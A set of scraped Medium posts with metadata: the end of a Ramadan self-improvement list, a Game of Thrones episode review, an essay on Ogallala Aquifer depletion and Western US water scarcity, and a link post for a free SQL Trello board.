to make improvements in yourself and give un-diverted attention to spiritual advancement during this month. Recite Quran with translation This Ramadan do not just read the Quran without understanding it; try to understand its literal meaning instead of just reading Arabic. Connect with Allah while reading the translation to understand what Allah is saying to you. Forgive those who hurt you If you still have festering wounds from the fights you had with someone or you are upset about something, this Ramadan forgive everyone who made you unhappy. It’s a great gesture for the peace of the soul. When we expect Allah to forgive us for our sins, we must have the courage to forgive others as well. Evaluate yourself Evaluate yourself and perform a catharsis. An honest self-evaluation will help you to see where you have made improvements and where you need to make further improvements. Surely you will find steps that you can take to make yourself closer to Allah.

https://medium.com/@darine/ramadan-2019-30-self-improvement-ideas-174ebee790ff

['Dina Halim']

2019-05-10 09:09:53.342000+00:00

['Ramadan', 'Improvement', 'Self Improvement', 'Ramadhan', 'Fasting']

Game of Thrones episode review — 6.1 — The Red Woman

Original air date: April 24, 2016 Director: Jeremy Podeswa Writers: David Benioff and D.B. Weiss Rating: 6/10 The start of the sixth season marks the point where I gave up on the series during its original run. I think I made it one episode futher at least, but I didn’t make it much further. And I can see why. Character motivations don’t make that much sense. I don’t know why Varys is all in on helping Daenerys. I have no idea why Davos is so invested in Jon’s death now. Like I’m not surprised he’s Jon’s side, but if the series wanted me to believe that he believed the Wildlings were the key to beating the White Walkers, I’m not sure why. That having been said, I really like Davos. He’s one of the highlights of the show at this point, I think. And this isn’t so much in the way of character motivation making no sense, but in terms of completely uninteresting storylines, Ellaria murders the prince and king of Dorne. I understand what she’s doing, but I can’t imagine she’s going to have a huge impact on the show’s story. Anyways, the episode is okay. It’s nice to see Brienne and Sansa finally team up.

https://medium.com/as-vast-as-space-and-as-timeless-as-infinity/game-of-thrones-episode-review-6-1-the-red-woman-6a3640dff2bc

['Patrick J Mullen']

2020-04-22 08:06:00.910000+00:00

['Fantasy', 'HBO', 'TV', 'Drama', 'Game of Thrones']

When Water Isn’t a Renewable Resource

The “breadbasket of the United States” is irrigated with prehistoric water. Specifically, water that seeped into the earth in this region 2 to 6 million years ago, when the area was wetter. The midwest is living on borrowed rain. And it is running out. Image Courtesy of OgallalaWater In the 1930s, the United States government made a massive push to farm this region, hoping to provide food security, jobs, and greater political control. The tall grasses that had grown there for millennia were cut, and crops were planted instead. The seasonal crops that were substituted had extremely shallow root systems compared to the prairie grasses that had evolved to suit this environment. The deep roots meant they could access water deep in the soil, while agricultural plants could only access it on the surface. Image Courtesy of Lu Hersey From 1930–1931, this bullheaded expansion of European-style agriculture and crops to a dry prairie environment went so poorly that it is estimated a full 50% of crops in Arkansas failed. A series of dry years, combined with a lack of roots to hold soil together, created disaster. Image Courtesy of NSW Environment, Energy and Science This was the Dust Bowl. It was a devastating lesson in what can go wrong when environmental conditions, especially water limits, are ignored. Many people know the Dust Bowl was an environmental catastrophe, but few people know that it was one that was never solved; only delayed. Image Courtesy of Mr. Nussbaum To “solve” the Dust Bowl crisis, the United States government put massive resources into drilling wells and promoting irrigation technologies. The Great Plains are underlain by an ancient aquifer, where water has been stored for millions of years. So the United States mined it. Image Courtesy of Scientific American The Ogallala Aquifer is immense, the result of water accumulating in one region for four million years. It underlies states from South Dakota to Texas, and it is the major source of water that fuels Great Plains agriculture and turned a dry prairie into amber waves of grain. Image Courtesy of DuWater Law Review It’s difficult to know how much time is left to continue to drain the Ogallala Aquifer. Some small areas could sustain our current extraction for hundreds of years further, while huge regions of the Ogallala have already run dry. Image Courtesy of The Kansas Department of Agriculture So what happens when the Ogallala runs out? The Dust Bowl returns. You may recognize the portrayal of this very real threat from Interstellar. But even in Interstellar, the “solution” is to find more resources, not to work within the limits of the environment. Image Courtesy of Warner Brothers Perhaps the most frightening thing about this real-life parable of greed and overconsumption is that it is far from the only example. In this map, blue areas show where irrigation exceeds rainfall. This means regions where stored, nonrenewable water is being used for agriculture. Image Courtesy of Pacific Northwest National Laboratory In fact, regions, where water stress is high (meaning more water is being used than rainfall exists to replenish water supplies), are regions more likely to be subject to intensive irrigation. In particular, regions with fertile soil but low rainfall are intensively farmed. Image Courtesy of USDA The question of when our method of industrial agriculture becomes unsustainable is a fallacy; it always has been. The “green revolution”, just as the industrial revolution was, is simply using new, unrenewable sources of production. The more unsustainable infrastructure built, the further we have to fall. Here is a photo of the famous Lake Mead, behind the Hoover Dam, which supplies a huge amount of the water needs and hydroelectric power to the city of Las Vegas. Its water level just hit a record for the lowest it has been since it was built. Image Courtesy of Bureau of Reclaimation The reason is the same as in Ogallala; we are utilizing water that runs off of glaciers (water storage) faster than it can replenish itself. The Hoover Dam was praised as a miracle of modern times, a symbol of the rising United States’ monument-building abilities. Image Courtesy of the Desert Museum The American West is renowned as the region of wilderness conquered, of manifest destiny, of the mythical revisionist histories of miners and cowboys and farmers and foresters and explorers and conquests and colonialization. It’s the land of dreams, of hopes, of disillusionment. If anything, the American West and its “taming” is symbolic of the American Empire at its heart. It is larger than life, it is deeply invested in the narrative of humans bending natural phenomena to their will, and it is living on borrowed time. Some may think the American Empire was built on oil, or on the atom, or on gold. Make no mistake; the American Empire was built on water, extracted, used, shipped, contaminated and sent downstream. This bounty will run out. Will we, as a society, learn to live within limits? With the introduction of the industrialized global economy, the big picture of water usage, as with the big picture of climate change as a whole, is not a factor of individual decisions, but corporate ones. Usage for drinking supplies is a fractional percentage of total use. Image Courtesy of USGS Yet, in the United States, public water supplies are still considered the least important water usage. When droughts strike regions, public water is curtailed. Even in regions without drought, water sources are often contaminated and unsafe to drink. Image Courtesy from NRDC When it comes to matters of water scarcity and safety, as when it comes to all issues associated with climate change — individual actions matter far less than collective actions. Rather than interrogating others about their shower length, interrogate government officials who issue water contracts. Encourage investment into local water safety systems. Encourage agricultural practices and crops suited to the environment you live in. Hold corporate entities accountable for the waste they generate and the resources they use. We are running out of borrowed water, and we are running out of borrowed time. When the well runs dry, who will go thirsty? If you are in the United States, this is a good resource for creating meaningful change to limit water privatization. It is also important to note that many people in the United States, particularly those in Appalachia and living on reservations, do not have access to public water, and are at heightened risk for environmental contamination, consequences from droughts, and food insecurity. Image Courtesy of USGS This is a brief overview to a few issues involved in water scarcity and climate change, with a major focus on the Western United States. The issues present are far deeper and more complex than the simple overview here. I will do my best to answer questions on this thread. If you would like to support more of my science communications, social justice organizing, or writings on history, environment, trans issues, disability issues and water, please consider supporting me on Patreon. This is my current main income source, so thank you! https://www.patreon.com/AlexPetrovnia Link to original thread:

https://medium.com/stem-first-gen/when-water-isnt-a-renewable-resource-3825c01337d1

['Alexander Petrovnia']

2021-07-16 15:20:27.884000+00:00

['Earth Science', 'Water', 'Earth Day', 'Climate Change', 'Environmental Issues']

Free SQL Public Trello Resource Board

Check out the link & follow along, click here

https://medium.com/@lucsolmes/free-sql-public-trello-resource-board-c78ca28067f3

['Lucas Solmes']

2020-12-10 19:10:36.087000+00:00

['MySQL', 'Relational Databases', 'Sql']